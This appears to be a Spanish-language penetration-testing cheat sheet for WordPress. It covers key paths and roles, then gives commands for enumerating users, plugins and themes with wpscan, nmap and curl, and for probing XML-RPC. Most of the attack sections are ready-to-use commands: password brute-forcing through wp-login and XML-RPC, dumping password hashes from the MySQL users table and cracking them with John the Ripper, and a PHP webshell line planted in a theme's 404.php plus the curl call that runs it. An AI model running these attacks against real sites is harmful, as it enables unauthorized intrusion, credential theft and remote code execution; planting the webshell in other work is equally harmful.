WordPress
Principales rutas y archivos
General:
/index.php
/wp-config.php
= información requerida por WordPress para conectarse a la base de datos./wp-content/
= directorio principal donde se almacenan los complementos y los temas./wp-content/uploads/
/wp-content/plugins/
/wp-content/themes/
xmlrpc.php
Inicio de sesión:
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
/license.txt
/readme.html
Roles de usuarios
Administrator
Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente.
Editor
Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.
Author
Pueden publicar y administrar sus propias publicaciones.
Contributor
Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.
Subscriber
Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.
Enumeración
General
wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--api-token = API token (https://wpscan.com/).
<api-token> = API token.
-o = guarda resultado del escaneo en archivo
wpscan.txt
.
Nmap
nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>
-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-enum = enumeración general.
check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
search-limit=200: limite de búsqueda de 250 temas y plugins.
<target> = objetivo.
cURL
Obtención de número de versión de Wordpress.
curl -s -X GET http://<target> | grep '<meta name="generator"'
Usuarios
WPScan
wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--enumerate u = enumeración de usuarios.
-o = guarda resultado del escaneo en archivo
wpscan-user.txt
.
Nmap
nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>
-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-users = enumeración de usuarios.
--script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.
<target> = objetivo.
cURL
Enumeración por nombre de usuario.
curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username>
<target> = objetivo.
<username> = nombre de usuario.
Enumeración de usuarios desde listado.
for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done
<path-usernames> = ruta de usuarios.
<target> = objetivo.
Enumeración de usuarios por ID.
for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; done
JSON endpoint.
curl http://<target>/wp-json/wp/v2/users | jq
Plugins
Revisión manualmente de ruta de plugins.
http://<target>/wp-content/plugins/
WPScan
wpscan --url http://<target>/ --enumerate p
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--enumerate p = enumeración de plugins.
Nmap
nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>
-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-enum = enumeración general.
type="themes" = enumeración de temas.
check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
search-limit=200: limite de búsqueda de 250 plugins.
<target> = objetivo.
cURL
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
Themes
cURL
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
XML-RPC
Verificación de XML-RPC activo.
/xmlrpc.php
curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
Ataques de contraseñas
Usuarios
WPScan
Método "wp-login".
wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
--password-attack = wp-login.
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--usernames = usuarios.
<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
--passwords = contraseñas.
<path-passwords> = ruta de archivo con listado de contraseñas.
Método "xmlrpc".
wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
--password-attack = xmlrpc.
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--usernames = usuarios.
<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
--passwords = contraseñas.
<path-passwords> = ruta de archivo con listado de contraseñas.
cURL
Utilizando XML-RPC (/xmlrpc.php
).
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php
{user} = usuario.
{password} = contraseña.
<target> = objetivo.
Cracking de contraseñas de usuarios en base de datos
MySQL CLI
mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;
John the Ripper
john hashes.txt --wordlist=<path-wordlist>
Upload reverse shell
Theme
Modificación de theme.
wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)
system($_GET['cmd']);
Ejecución de webshell.
curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"
Plugin
wp-admin -> Plugins -> Plugin Editor -> file.php
Activar plugin.
Metasploit Framework (MSF)
use exploit/unix/webapp/wp_admin_shell_upload
Última actualización
¿Te fue útil?